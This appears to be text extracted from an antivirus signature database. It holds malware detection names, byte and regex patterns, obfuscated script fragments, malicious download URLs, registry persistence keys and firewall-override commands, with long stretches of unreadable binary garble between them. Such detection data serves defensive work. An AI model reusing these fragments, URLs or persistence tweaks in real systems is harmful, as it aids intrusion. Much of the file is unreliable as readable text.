!#SCPT:GPhishMessage target=\"_blank\">openindocs</a>  target=\"_blank\">openindocs</a> !#SCPT:JS/Nemucod.A2 replace\"\"indexof\"\"fromcharcode  replace\"\"indexof\"\"fromcharcode !#SCPT:Nemucod.BAE1b /welcomemarketing.ie/counter/?  /welcomemarketing.ie/counter/? !#SCPT:Obfuscploit:0 \\d]+.[\\d]+.[\\d]+/))==null){var  \\d]+.[\\d]+.[\\d]+/))==null){var !#SCPT:Obfuscploit:1 l){window[string.fromcharcode(  l){window[string.fromcharcode( !#SCPT:VBS/Obfus.BS2  .run  &\"'\"&   !#SCPT:wmitaskill.A3 createobject(  createobject( taskkill !#AnalysisProcName.A1 frida-winjector-helper-64.exe !#AnalysisProcName.A2 frida-winjector-helper-32.exe !#SCPT:AADKillchain.C invoke-userenumerationasguest yp=[];try{pqbt !#SCPT:OffRelHttp.gen relationships/ %target=\"http !#SCPT:PaypalPhish.H2 islamicstate=caliphateislamic !#SCPT:powinvokeiex.A [convert]:: !#Script:Unscapetob64 document.write(atob(unescape( style= fontsize:0px href= !#Trojan:VBA/Calboco1 https://www.dfib.net/calc.exe !#Worm:JS/Proslikefan function( !#//SCPT:Wakelock_Perm android.permission.wake_lock !#//SCPT:WriteSms_Perm android.permission.write_sms \"jj83__11\".replace('_','7'); !#PWS:AutoIt/Passup.A1 fileinstall(\"autoupdate.au3. !#PWS:AutoIt/Passup.A2 execute(binarytostring(\"0x45 !#SCPT:AssertPostinTag assert($_post[ !#SCPT:ClnWordsCat3_10 encryptingyournextcloudfiles !#SCPT:ClnWordsCat3_17 passphrasestorageandrecovery !#SCPT:EXT:Imposter.N1 https://api.edgelauncher.com !#SCPT:Java/Banload.A3 getruntime /cds/ !#SCPT:PDF.OnlyOnePage </type/pages/kids /count1/ /count1> !#SCPT:VBS:Suspb64Run1 /defender.txt\" @.open\"get\", !#SCRIPT:JS/Msfdbrow.3 .send(\"irb-e\\\"\"+ +\"\\\"\\n\"); !#SCRIPT:RefPeInject.A invoke-reflectivepeinjection !#Trojan:HTML/Emrhish2 bankdraftof  withfedexemail !#PUA:Block:Bundlore.I3 open\"${volpath}/install.app !#PUA:MacOS/MacShiny.A3 #!/bin/shecho\"pkgpoolfiller !#SCPT:Adodb.vbshttpzip \"http 0.zip\" !#SCPT:HTML/Phish.SBLN5 letarr=json.parse(atob(s)); !#SCPT:JS/Banloadr.temp function(){/*%temp%*/}.$(); !#SCPT:NodeJS!websocket require('websocket').server dugedepap.ru/  !#SCPT:PSByteShellcodeC byte[] P=newbyte[ get-processlistingwmimplant !#SCRIPT:BAT/Chopper.A2 ipconfig/all >c:\\windows\\ !#SCRIPT:JS/Makdichi.A1 session.putvalue(\" !#SCRIPT:PS/AmsiFail.A3 .marshal]::( @[char]( !#SCRPT:O97M/Qakbot.AR1 http://stroylux.ro/ds/1.gif !#Trojan:JS/Flafisi.D.1 /flash player .jse';var !#Trojan:Linux/Mirai.D1 /bin/shulimit-n99999cd/tmp; !#Trojan:Linux/Setag.B3 /usr/binfunctiondownloadyam _.H$A :LO\\p <Q@v#lt =&mdH 1f;~U =gHvY \"G$T ,2 Jrb!E \"/|t5 $1O{\t kwm,tx }WBqz /Kd*M IcWY`l l+{]f| =uydc M;!b? b\t/dh >O \to 0i %j9 ]T'WW !!G7H  8 ZV P%Fj[ SrN > *z^PL +|:_* [@#3v% `>L:3G /ireF BVlH.P NV(bu S/5}] CWrQ| WX)!9 N<BvQ[zkDZ Y\"z.$ $/sPo{),~b 8:9S+ L,A?? J#HLr  <b@{ K<h+Q o/yTs cLg3F NaPmE 4=$eD Na,Zi P,wvv Tm'^A FI}]O IDNi  VrcL?[ TTnPA oMGd} 991T( mH\\8E B8pZ# >Pr~H =^f`5 a=E31 !#AGG:JS/Obfuscator.Spltra.C  |!#AGG:AllowList:Win32/WinGuido.A  |!#ALF:Trojan:Win32/Cassini.A!ibtg  |!#ALF:Trojan:Win32/Cassini.A!ibt !#ALF:Trojan:PowerShell/PSAttack.B!MTB &v!#ALF:Trojan:PowerShell/PSAttack.B!MTB !#ALF:Trojan:Win32/Cassini_903acaaa!ibt 'u!#ALF:Trojan:Win32/Cassini_903acaaa!ibt !#ALF:Trojan:Win32/Cassini_a0573ed7!ibt 'u!#ALF:Trojan:Win32/Cassini_a0573ed7!ibt !#ALF:Trojan:Win32/Cassini_b6efd62c!ibt 'u!#ALF:Trojan:Win32/Cassini_b6efd62c!ibt !#ALF:TrojanDownloader:Win32/Vadokrist.A (t!#ALF:TrojanDownloader:Win32/Vadokrist.A !#SLF:AGGR:CopyRenamed!notmyfaultc64.exe (t!#SLF:AGGR:CopyRenamed!notmyfaultc64.exe !#SLF:AGGR:CopyRenamed!vsjitdebugger.exe (t!#SLF:AGGR:CopyRenamed!vsjitdebugger.exe !#SLF:TrojanDownloader:Win32/Dridexdll.B (t!#SLF:TrojanDownloader:Win32/Dridexdll.B !#TEL:TrojanDownloader:O97M/Gozi.AGZ!eml (t!#TEL:TrojanDownloader:O97M/Gozi.AGZ!eml !#ALF:Ransom:PowerShell/TestEncrypt.A!MTB )s!#ALF:Ransom:PowerShell/TestEncrypt.A!MTB !#SLF:Context/SuspFileDropBySystemProc.C!sysdir /m!#SLF:Context/SuspFileDropBySystemProc.C!sysdir !#TEL:Trojan:JS/WmiCreateRemotePowershell.C!ams /m!#TEL:Trojan:JS/WmiCreateRemotePowershell.C!ams !#AGG:JS/Obfuscator.Spltra.A  }!#ALF:Trojan:Win32/Cassini.A!ibt  }!#ALF:Trojan:Win32/Cassini.B!ibt !#TEL:TrojanDropper:VBS/Ursnif.PAC!ams &w!#TEL:TrojanDropper:VBS/Ursnif.PAC!ams !#SLF:Context/FileADSinBasePath.A!sysdir (u!#SLF:Context/FileADSinBasePath.A!sysdir !#TEL:Trojan:PowerShell/PSSchTaskAbuse.A (u!#TEL:Trojan:PowerShell/PSSchTaskAbuse.A *s!#AGGR:PowerShell/PSExploitDynamicAssembly !#SLF:EmailContextOfficeWithObjectFile.A!js +r!#SLF:EmailContextOfficeWithObjectFile.A!js !#BLKACC:92e97fa1-2edf-4476-bdd6-9dd0b4dddc7b -p!#BLKACC:92e97fa1-2edf-4476-bdd6-9dd0b4dddc7b !#SLF:VirTool:PowerShell/SuspAdminAccess.A!MTB .o!#SLF:VirTool:PowerShell/SuspAdminAccess.A!MTB !#ExcelSiorType.C !#ALF:HtaExecFromDwn.B !#BM_AT:AADprovisioningapi !#SLF:AGGR:CopyRenamed!psr.exe !#TEL:Trojan:Win32/Linkommer.A !#ALF:Trojan:HTML/Phish.PBT!MTB !#ALF:Trojan:O97M/Phish.PDD!MTB !#ALF:Trojan:O97M/Phish.PDX!MTB !#ALF:Phish:PHP/MS_Login_PKT!MTB  ~!#ALF:Phish:PHP/MS_Login_PKT!MTB  ~!#ALF:Trojan:Win32/Cassini.A!ibt  ~!#ALF:Trojan:Win32/Cassini.B!ibt !#SLF:AGGR:CopyRenamed!dfsvc.exe  ~!#SLF:AGGR:CopyRenamed!dfsvc.exe !#TEL:SuspSpoolsvProcessDrop.A!exe \"|!#TEL:SuspSpoolsvProcessDrop.A!exe !#SLF:HackTool:PowerShell/Azhunting #{!#SLF:HackTool:PowerShell/Azhunting !#AGG:SWF/Obfuscator.NeutrinoEKLike.F %y!#AGG:SWF/Obfuscator.NeutrinoEKLike.F !#do_exhaustivehstr_rescan_nivdort_bz %y!#do_exhaustivehstr_rescan_nivdort_bz !#ALF:Trojan:Win32/Cassini_2d3c98bf!ibt 'w!#ALF:Trojan:Win32/Cassini_2d3c98bf!ibt !#ALF:VirTool:Powershell/GropPass.B!MTB 'w!#ALF:VirTool:Powershell/GropPass.B!MTB !#ALF:VirTool:Powershell/LockWats.B!MTB 'w!#ALF:VirTool:Powershell/LockWats.B!MTB !#BM_CopyRenamedIName_logonsessions64.exe )u!#BM_CopyRenamedIName_logonsessions64.exe !#BM_CopyRenamedIName_runscripthelper.exe )u!#BM_CopyRenamedIName_runscripthelper.exe !#BM_CopyRenamedOName_logonsessions64.exe )u!#BM_CopyRenamedOName_logonsessions64.exe !#BM_CopyRenamedOName_runscripthelper.exe )u!#BM_CopyRenamedOName_runscripthelper.exe !#ALF:TrojanDownloader:O97M/EncDoc.TOTE!MTB +s!#ALF:TrojanDownloader:O97M/EncDoc.TOTE!MTB !#ALF:TrojanDownloader:O97M/EncDoc.TOTF!MTB +s!#ALF:TrojanDownloader:O97M/EncDoc.TOTF!MTB !#SLF:Context/FileADSinBasePath.A!locallowappdata 1m!#SLF:Context/FileADSinBasePath.A!locallowappdata !#TEL:Trojan:HTML/Wampen.D !#TEL:Exploit:HTML/Meercat.I!dha !#SLF:Exploit:Script/Mucsplat.K!dha #|!#SLF:Exploit:Script/Mucsplat.K!dha !#Lua:Macro:O97M/MacroSaveToFile.A!amsi 'x!#Lua:Macro:O97M/MacroSaveToFile.A!amsi !#ALF:Exploit:ASP/MachineKeyFinder.A!dha (w!#ALF:Exploit:ASP/MachineKeyFinder.A!dha !#ALF:TrojanDownloader:O97M/Qakbot.RVJ!MTB *u!#ALF:TrojanDownloader:O97M/Qakbot.RVJ!MTB !#ALF:HackTool:PowerShell/InvokeBlunt.A!MTB +t!#ALF:HackTool:PowerShell/InvokeBlunt.A!MTB !#SLF:EmailContextOfficeWithObjectFile.B!js +t!#SLF:EmailContextOfficeWithObjectFile.B!js !#SLF:EmailContextOfficeWithObjectFile.A!bat ,s!#SLF:EmailContextOfficeWithObjectFile.A!bat !#SLF:EmailContextOfficeWithObjectFile.A!cmd ,s!#SLF:EmailContextOfficeWithObjectFile.A!cmd !#SLF:EmailContextOfficeWithObjectFile.A!com ,s!#SLF:EmailContextOfficeWithObjectFile.A!com !#SLF:EmailContextOfficeWithObjectFile.A!exe ,s!#SLF:EmailContextOfficeWithObjectFile.A!exe !#SLF:EmailContextOfficeWithObjectFile.A!hta ,s!#SLF:EmailContextOfficeWithObjectFile.A!hta !#SLF:EmailContextOfficeWithObjectFile.A!jar ,s!#SLF:EmailContextOfficeWithObjectFile.A!jar !#SLF:EmailContextOfficeWithObjectFile.A!jse ,s!#SLF:EmailContextOfficeWithObjectFile.A!jse !#SLF:EmailContextOfficeWithObjectFile.A!lnk ,s!#SLF:EmailContextOfficeWithObjectFile.A!lnk !#SLF:EmailContextOfficeWithObjectFile.A!pif ,s!#SLF:EmailContextOfficeWithObjectFile.A!pif !#SLF:EmailContextOfficeWithObjectFile.A!ps1 ,s!#SLF:EmailContextOfficeWithObjectFile.A!ps1 !#SLF:EmailContextOfficeWithObjectFile.A!scr ,s!#SLF:EmailContextOfficeWithObjectFile.A!scr !#SLF:EmailContextOfficeWithObjectFile.A!vbe ,s!#SLF:EmailContextOfficeWithObjectFile.A!vbe !#SLF:EmailContextOfficeWithObjectFile.A!vbs ,s!#SLF:EmailContextOfficeWithObjectFile.A!vbs !#SLF:EmailContextOfficeWithObjectFile.A!wsf ,s!#SLF:EmailContextOfficeWithObjectFile.A!wsf !#SLF:EmailContextOfficeWithObjectFile.A!wsh ,s!#SLF:EmailContextOfficeWithObjectFile.A!wsh !#SLF:HackTool:PowerShell/Internaloff.L1!MTB ,s!#SLF:HackTool:PowerShell/Internaloff.L1!MTB !#AGGR:TrojanDownloader:Win32/Upatre!unpacked -r!#AGGR:TrojanDownloader:Win32/Upatre!unpacked !#ALF:PSExecFromDwn.B !#ALF:Virtool:JS/Obfuscator.FH !#PossiblePangimopLanding!Lowfig !#TEL:Backdoor:PHP/Remoteshell.P  (z^4 fPM C ^ cNR Lf wJ &By  k?6V IB+ 7 !e!j X YOW J$m C   T)| s   `  xTmv CU^H (( %_@ ) .XK oy @&     $ &@u j ;  @u   Y_^[  Y_^[  d$@f   $   $r #@u j ;  @u   Y_^[  Y_^[  l!@f D,nS _i o3f \t  o3f \t   oU5  twW /  kF;r & d{= jd@. f |_? 04  9 c7'? c7'? P SL<? SL<? + b< SW Ey> bd\"j gP'9 gP'9 f OQM? k~r? > > u{?  ?~? ?%8> U? ST  _aL? K ? E E9> (  B @BE                             (EF@           'c'c      X z%:p K gWE cbqi ; 2   p &G \"p `LL ( iL Lxz# =  r25m at~( c P the        \t\t\t\t  \t\t\t\t  \t   2 \t \t\t\t \t\t \t  \t\t\t\t  \t\t\t \t  \t\t\t\t \t\t\t\t \t  \t \t\t  \t\t\t \t  \t\t\t \t\t\t \t \t\t\t\t \t\t \t \t \t\t \t\t \t\t\t\t     \t\t \t\t \t\t\t\t     \t\t  \t \t\t  \t\t\t   \t\t \t        \t  \t 7?I N 0nJ -S[ Z^ p: L*AU Us !{$ '  ,t uQ [F xkj I`  @ Q b#z v1J yD  7{ 44 0# X( Y+HZ HPNR l   T0bt G\\>! a  N=13 Yc ,7 g wSC x( /c ? *+<L j\\$ z\"7 6 C|. c $O *0#=   :FNQ OuE :4*_ 7Y9Rv= d_ Ek _<kGDUdS Rn,C` Me+gr bG `9T *;eSs B~ivS ZPoP\t uyRAG Software\\Classes\\BHOmod.BHOmodObj !Software\\Classes\\BHOmod.BHOmodObjc' !Software\\Classes\\BHOmod.BHOmodObjc) Software\\Classes\\BHOmod.BHOmodObj.1 #Software\\Classes\\BHOmod.BHOmodObj.1c) #Software\\Classes\\BHOmod.BHOmodObj.1cY SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\ShellServiceObjectDelayLoad\\\\systray.exbr SSOFTWARE\\Microsoft\\Windows\\CurrentVersion\\ShellServiceObjectDelayLoad\\\\systray.exbrcY SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\ShellServiceObjectDelayLoad\\\\systray.exys SSOFTWARE\\Microsoft\\Windows\\CurrentVersion\\ShellServiceObjectDelayLoad\\\\systray.exysct SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\SharedTaskScheduler\\\\{4f141cba-1457-6cca-03a7-7aa21b61ea0f} nSOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\SharedTaskScheduler\\\\{4f141cba-1457-6cca-03a7-7aa21b61ea0f}] MonitoringTool:Win32/ThePCDetective #MonitoringTool:Win32/ThePCDetective \\the pc detective\\ems.exeq &\\the pc detective\\ems.exeq \\the pc detective\\tpcl.exeq &\\the pc detective\\tpcl.exeq \\the pc detective\\viewer.exe] &\\the pc detective\\viewer.exe] !msshed32 <pIpJ !eetu  Bmg8g 1[O=8 4K DW{\thY 4K DW{\thY: \\eetu.exe] !News12 kpfOSrY  fOSrg BrowserModifier:Win32/ToolbarPartner  $BrowserModifier:Win32/ToolbarPartner !DRUsearch SOFTWARE\\Microsoft\\Code Store Database\\Distribution Units\\{10000000-1000-0000-1000-000000000000} \\internet explorer\\cvpdvmcu.exe] `SOFTWARE\\Microsoft\\Code Store Database\\Distribution Units\\{10000000-1000-0000-1000-000000000000}q!&\\internet explorer\\cvpdvmcu.exe] !Vxgame @$ ,`z@  ,+ @Y L^ug& L^ug&/ usbgg5bmm 0bempbe/qiq iuuq;00 netsh firewall set allowedprogram '%s' enable -netsh firewall set allowedprogram '%s' enable /cj{uy traff4all.biz  c:SeDebugPrivilege vxv.php cntr.php svcp.csv %s\\vx e%s\\vx tibs. proxy. zgame1.exe kernels8.exe notoutpost hide_ un_hide_ _un_hide _unhide GetSystemDefaultLangID ObtainUserAgentString NtQueryDirectoryFile NtEnumerateValueKey %c%c%c%ccX software\\microsoft\\windows\\currentversion\\internet settings\\\\minlevel code downloadc[ Esoftware\\microsoft\\windows\\currentversion\\internet settings\\\\minlevel software\\microsoft\\windows\\currentversion\\internet settings\\zonemap\\ranges\\range1\\\\* Tsoftware\\microsoft\\windows\\currentversion\\internet settings\\zonemap\\ranges\\range1\\\\* software\\microsoft\\windows\\currentversion\\internet settings\\zonemap\\domains\\slotch.com\\\\* Ysoftware\\microsoft\\windows\\currentversion\\internet settings\\zonemap\\domains\\slotch.com\\\\* software\\microsoft\\windows\\currentversion\\internet settings\\zonemap\\domains\\ysbweb.com\\\\* Ysoftware\\microsoft\\windows\\currentversion\\internet settings\\zonemap\\domains\\ysbweb.com\\\\* software\\microsoft\\windows\\currentversion\\internet settings\\\\trust warning level Psoftware\\microsoft\\windows\\currentversion\\internet settings\\\\trust warning level no securitycc Software\\microsoft\\windows\\currentversion\\internet settings\\zonemap\\domains\\porn-host.org\\\\* \\Software\\microsoft\\windows\\currentversion\\internet settings\\zonemap\\domains\\porn-host.org\\\\* software\\microsoft\\windows\\currentversion\\internet settings\\zonemap\\domains\\skoobidoo.com\\\\* \\software\\microsoft\\windows\\currentversion\\internet settings\\zonemap\\domains\\skoobidoo.com\\\\* software\\microsoft\\windows\\currentversion\\internet settings\\zonemap\\domains\\slotchbar.com\\\\* \\software\\microsoft\\windows\\currentversion\\internet settings\\zonemap\\domains\\slotchbar.com\\\\* software\\microsoft\\windows\\currentversion\\internet settings\\\\safety warning level succeedsilentcd Qsoftware\\microsoft\\windows\\currentversion\\internet settings\\\\safety warning level software\\microsoft\\windows\\currentversion\\internet settings\\zonemap\\domains\\flingstone.com\\\\* ]software\\microsoft\\windows\\currentversion\\internet settings\\zonemap\\domains\\flingstone.com\\\\* software\\microsoft\\windows\\currentversion\\internet settings\\zonemap\\domains\\xxxtoolbar.com\\\\* ]software\\microsoft\\windows\\currentversion\\internet settings\\zonemap\\domains\\xxxtoolbar.com\\\\* software\\microsoft\\windows\\currentversion\\internet settings\\zonemap\\domains\\clickspring.net\\\\* ^software\\microsoft\\windows\\currentversion\\internet settings\\zonemap\\domains\\clickspring.net\\\\* software\\microsoft\\windows\\currentversion\\internet settings\\zonemap\\domains\\mt-download.co ^software\\microsoft\\windows\\currentversion\\internet settings\\zonemap\\domains\\mt-download.co Uo#aCJ k}L$of 2?Dim qjaFg IG\\o) ,m::/U \\p\\H]p !#ALF:HeraklezEval:TrojanDownloader:O97M/ZLoader.ARJ!rfn +8!#ALF:HeraklezEval:TrojanDownloader:O97M/ZLoader.ARJ!rfnbB rRyX1P5 ZOD\t (z ZOD\t% ZOD\t,yL ZOD\t5 ZOD\t; ZOD\tGo ZOD\tKT7: ZOD\t[ ZOD\tb ZOD\ti ZOD\t~ %tB ? (ce|< ]p\\>^p !#ALF:HeraklezEval:Trojan:Win32/AgentCrypt!rfn +.!#ALF:HeraklezEval:Trojan:Win32/AgentCrypt!rfn&S .3)R\"? };&9' _patch_va  !#LUA:PowershellDropsNewPE.A !#LUA:PowershellDropsNewPE.AIncludesPHelpersObMpAttributes  LUA:PowershellDropsNewPEInAppDataPath.A (LUA:PowershellDropsNewPEInAppDataPath.A IsChainNPath  Lua:OfcUsrTruDocRecPsNewPeDrop  Lua:EmailClientChainPsNewPeDrop  Lua:EmailClientChainPsNewPeDrop  Lua:WebMailChainPsNewPeDrop !#Lua:PowerShell.ShellXor.S001 !#Lua:PowerShell.ShellXor.S001ObMpAttributes (cg0kdqon) Lua:MultipleReturnAtTailerInB64.S001 %Lua:MultipleReturnAtTailerInB64.S001 ([A-Za-z0-9+/=]+)  %[byte%[%]%]  Lua:ShellBytesInB64.S001 0x%x%x,0x%x%x,0x%x%x,0x%x%x,0x%x%x,0x%x%x,0x%x%x,0x%x%x,0x%x%x,0x%x%x,0x%x%x,0x%x%x,0x%x%x,0x%x%x,0x%x%x, j0x%x%x,0x%x%x,0x%x%x,0x%x%x,0x%x%x,0x%x%x,0x%x%x,0x%x%x,0x%x%x,0x%x%x,0x%x%x,0x%x%x,0x%x%x,0x%x%x,0x%x%x, Lua:ShellBytesInB64.S002 Lua:InvokeInB64.S001 !#Lua:FynloskiFilenames msdcsc.exe mdcsc.exe  msdcs.exe  msdc.exe \tmsdc.exe IMDCSC.exe IMJDC.exe  facecall.exe  svcost.exe svhost.exe sv_chost.exe  svhostss.exe  Profoma Invoice.exe Profoma_Invoice.exe monthlyreport.exe ttpayment.scr crypted server.exe DCModule.exe  lssass.exe DarkCommet.exe \\.-documents\\.+ \\start menu\\.+  \\administrator\\application data  \\administrator\\application data \\appdata\\local \\desktop\\.+ \\windows\\system32\\.+ \\local settings\\application data !\\local settings\\application data \\local settings\\temp !#PEPCODE:Trojan:Win32/Vundo.gen!P.0    SizeOfStackReserve 3a897603c079  [VUNDO_DYNEXE] !#Lua:FakePAVFileName.A guard- Lua:FakePAVFileName.A protect Lua:FakePAVFileName.B safe- Lua:FakePAVFileName.C Lua:FakePAVFileName.D file.exe \tfile.exe Lua:FakePAVFileName.E !#Lua:CeeInject_MyAppChecking !#Lua:CeeInject_MyAppCheckingObMpAttributes      !#ceeinject.dz   [CeeInject.gen!DZ]     Misfox RemoveMisfoxASEPs RemovePayloadFromRegistry Win32/Misfox  PowerShell/Misfox %(%[text%.encoding%]::ascii%.getstring%(%[convert%]::frombase64string%(%(gp.*(hk%w%w:\\\\?software\\\\?classes\\\\?%w%w%w%w+).*%.(%w%w%w%w+)%)  25b3098c1150 is_in \\appdata\\local\\apps\\2%.0\\ \\programs\\onesystem\\spider\\ \\gphdesktopapp\\gphdesktopapp\\globalproductivityhub%.exe 8\\gphdesktopapp\\gphdesktopapp\\globalproductivityhub%.exe \\cubase\\cubase_updater%.exe \\myzone\\software\\myzone2%.exe \\csobpkalk\\csobpkalkulatory%.exe !\\csobpkalk\\csobpkalkulatory%.exe \\nitro pro\\skel\\[%x]+\\nitro_temp_file_cleaner%.exe 3\\nitro pro\\skel\\[%x]+\\nitro_temp_file_cleaner%.exe \\adobe.+\\local\\stubexe\\ \\game\\league of legends%.exe \\win64\\valorant-win64-shipping%.exe $\\win64\\valorant-win64-shipping%.exe \\win64\\fortniteclient-win64-shipping%.exe *\\win64\\fortniteclient-win64-shipping%.exe \\wegame.+\\dnf%.exe \\screenconnect%.windowsclient%.exe #\\screenconnect%.windowsclient%.exe \\robloxplayerlauncher%.exe 25178a5e90e53 SCPT:Cookstone mtprotostate  SCPT:CookstoneA telegram \ttelegram mitm_manager  \\telegram_testing\\ \\mitm_tools \\wifibox \t\\wifibox \\fake_ap \t\\fake_ap Lua:CookstoneA SCPT:CookstoneB \\packages\\telegram\\ \\core\\telegram_testing\\ Lua:CookstoneB !#Lua:ContextualInstGamarueMs2  \\windows\\system32 CONTEXT_DATA_PROCESSDEVICEPATH  29db392dbce75   41b393e77b73 41b393e77b73IncludesResearchData GetRealPidForScenario powershell%.exe$ cmd%.exe$  IsPidObservedGlobal GetTacticsTableForPid GetTechniquesTableForPid AddPidSpecificTechniqueAndTactic !AddPidSpecificTechniqueAndTactic tt_to_child has_inherited_tt   !#Lua:Worm:JS/Bondat!CryptKeywords BaseConversions !#Lua:Worm:JS/Bondat!CryptKeywordsIncludesBaseConversionsObMpAttributes %[([^%[%]]*[%+\\][^%[%]]*)%]%( StrToBaseN  constructor fromCharCode  parseInt \tparseInt \tFunction \\x(..) %((%d+)%)%.toString%((%d+)%) ([\"%+%s]+) \\(%d+) !#LUA:JenxcusCyberCrypt !#LUA:JenxcusCyberCryptIncludesConversionToBinary_fastHex2BinObMpAttributes \"(.-)\" ^%%[0-9A-Za-z][0-9A-Za-z]%%[0-9A-Za-z][0-9A-Za-z]%%[0-9A-Za-z][0-9A-Za-z] J^%%[0-9A-Za-z][0-9A-Za-z]%%[0-9A-Za-z][0-9A-Za-z]%%[0-9A-Za-z][0-9A-Za-z] SCPT:ReverseBase64 [Jenxcus]  Pokavampo PokavampoIncludesGenericRepairHelpers SoftwareBundler:Win32/Pokavampo  SoftwareBundler:Win32/Pokavampo  %common_appdata%   \\Microsoft\\Network\\Dsq\\network *-*-* %program_filesx86% 157b36f5f2a4b \\systemsettings.exe   .tmp\\setup.exe \\openwith.exe \\searchprotocolhost.exe \\searchindexer.exe \\chrmstp.exe  \\userprofilemanager.exe \\taskhostw.exe 97b31e8a934c  !#ChangeEPtoExport  no_decription no_tls  !#PEPCODE:Win32/Vundo.HK2   hasboundimports !#Lua:Exploit:HTML/NeutrinoEK.K SCRIPT:Exploit:HTML/NeutrinoEK.K!obj %SCRIPT:Exploit:HTML/NeutrinoEK.K!obj (<object .-classid=clsid:d27cdb6e.-</object>) .(<object .-classid=clsid:d27cdb6e.-</object>) <object.- id=(%l+) .-> <object.- name=(%l+) .-> <object.- height=\"(%d+)\".-> <object.- width=\"(%d+).-> (<param .-name=\"movie\".->) value=\"(/%w+/.-)\".-> (<embed .-allowscriptaccess=\"samedomain\".->) -(<embed .-allowscriptaccess=\"samedomain\".->) name=\"(%l+)\".-> id=\"(%l+)\".-> height=\"(%d+)\".-> width=\"(%d+)\".-> src=\"(/%w+/.-)\".-> !#Lua:ShellterTrigger !#Lua:ShellterTriggerObMpAttributes      !#Lua:DownloadFileName.B update_ Lua:DalexisDownloadFileName.A Lua:LerspengDownloadFileName.A Silasilsap SilasilsapIncludesGenericRepairHelpers appsetup%.exe p1%.exe p2%.exe p3%.exe p4%.exe p5%.exe p6%.exe p7%.exe p8%.exe p9%.exe p10%.exe \tp10%.exe DeleteRe \"DeleteRe  7B!o 7D;XM/  7D;XM/ kL`&rP 7DBl:Pj  7DBl:Pj ]t Sv Fxq\"| rStj!  7F r 7IZ1o  7IZ1o  7I{H Si]vug  7O63  7Q</  7R\tQ K<h91 LttOs  7V8G I>>/1 }eXB~os ]8i\"LC ^BbXe  7[Tx 7\\PHQBx7  7\\PHQBx7 {+^ X e C\"O2  7]@? !Y.lM P`f;A ;Y<I7 3\"5Dn  7dTn QM/,Q^ #vnq;  7fqB B6FOFL ,g'RF  7m%X 7mi!1  7mi!1 A8gyN 7q-=S  7q-=S  7r\tn !X-DO |h }QS^w +a-Em  7zdu  7}H+ E[Go# 1\"wcK (3tDo.i 8`W4 F%+U2 4c@5P iygn: %9 6~ o*{++ D]T| MhO[A U+)bp Z[/ib )jMeJ @:9,)q gn+P=Z rY4gW- 6A1O(` ;npD?2 =d\ta8L o_hJGQ l<BHp `:'GfP| *7Zo% {stu*  ^L'> 4#\"^` KI[T5 8/5.r y L$@Kx V.T0| +lv|M Oz\"!o L3=3B (JTI\\V V:1Rq' ]B`~u  Ft;C `qtix t0XN| u2kN2 SG3(N 2!WD:^  6uUTV 2?ZA` )\tcR/ s.a(H  _&6#\t 8V% i }QRva 8b#9- F)Ir| h\\N0# B 7 c ~8+j. -n\\ImW+6 if8` /}oKt |(o8) 8V!B6 033W/\"%i01 Vkn|j@ |bWx7 bC'<0 ? !'^ >%8=+2 ?!:;; >%gh$NV= ?\"'(L ?&OT@$ X?$fg 8(> ms  zyi> *L|(r> :<;*M? =\"ABP ;>!GI ?$MNV Q[^,9? >\"UY< 3^\t?& aXN?! *r_>\t #_?F> ? Q_' >!jkxR j#?#n CO3x> |(r># o8&?& o8&?&&. ').vD> 7_?F> @ km> qb =& FJqb =& NV;*M? qtl?S? _~!>! G; ?\t G; ?\t%'[ ?%AHC .`1>\" DE.`1>\" _~!>  U_~!>  X\\oJ.> ?&_bW <&kqmj (T ?# \t;'A? BN+?\" NkA=! $NkA=!%'P ;%14r >\"GRD ? JOBT eJ?&Sg >\tWb? .`1> cd.`1> zyi># /*=!%* ?$/kw lK= > B? J` >\"SU@q ry.>& Z]ry.>&[ i,= qt ?! 7uB > \"4c ?##,_~!> >&/075 =.`1> 00010_9090 !#attrmatch_codepatch_EIP_00000012_31C9 !#attrmatch_codepatch_EIP_00000012_9090M !#attrmatch_codepatch_EIP_00000012_9090j|Z !#attrmatch_codepatch_EIP_00000012_9090k !#attrmatch_codepatch_EIP_00000012_9090 !#attrmatch_codepatch_EIP_00000002_01000000V !#attrmatch_codepatch_EIP_00000002_90909090 !#attrmatch_codepatch_EIP_00000008_01000000 !#attrmatch_codepatch_EIP_0000000B_01000000 !#attrmatch_codepatch_EIP_0000000C_31C09090 !#attrmatch_codepatch_EIP_00000000_9090909090 !#attrmatch_codepatch_EIP_00000009_9090909090 !#attrmatch_codepatch_EIP_00000006_909090909090 !#attrmatch_codepatch_EIP_00000000_31C931DB31C043 !#attrmatch_codepatch_EIP_00000000_8B06909090909090 A3 A3 !#PEBMPAT:Deep_AnalysisQP '!#PEBMPAT:Deep_AnalysisQP !#PEBMPAT:Tracur_packer '!#PEBMPAT:Tracur_packer !#Virus:Win32/Sality.gen!enc` \"!#Virus:Win32/Sality.gen!enc` !#lua_codepatch_kovter_trick \"!#lua_codepatch_kovter_trick !#attrmatch_DTBranch_EIP_0_r1 !!#attrmatch_DTBranch_EIP_0_r1 !#PEBMPAT:Win32/AlureonBrute.L  !#PEBMPAT:Win32/AlureonBrute.L !#PEBMPAT:Win32/Obfuscator.IX!AZF !#PEBMPAT:Win32/AlureonBrute.N10 !#PEBMPAT:Win32/AlureonBrute.N11 !#PEBMPAT:Win32/AlureonBrute.N12 !#PEBMPAT:Win32/AlureonBrute.N13 !#PEBMPAT:Win32/AlureonBrute.N14 !#PEBMPAT:Win32/AlureonBrute.N15 !#PEBMPAT:Win32/AlureonBrute.N16 !#PEBMPAT:lua_codepatch_ursnif_64H !#PEBMPAT:lua_codepatch_ursnif_64QRAPSVW !#PEBMPPAT:Trojan:Win32/Anomaly.A3 !#attrmatch_codepatch_EIP_00000001_02 !#attrmatch_codepatch_EIP_00000008_8E !#attrmatch_codepatch_EIP_0000000D_EB =llKt =ntdlt =lKEt =tdllt !#attrmatch_codepatch_EIP_0000000F_EBY !#attrmatch_codepatch_EIP_00000016_00 !#attrmatch_codepatch_EIP_00000016_86 !#attrmatch_codepatch_EIP_0000002E_15i !#attrmatch_codepatch_EIP_00000000_B8FE= !#attrmatch_codepatch_EIP_00000004_29C0 !#attrmatch_codepatch_EIP_00000005_EB0F- !#attrmatch_codepatch_EIP_00000006_9090 !#attrmatch_codepatch_EIP_00000007_9090C ttttt !#attrmatch_codepatch_EIP_0000000A_9090X !#attrmatch_codepatch_EIP_0000000A_9090 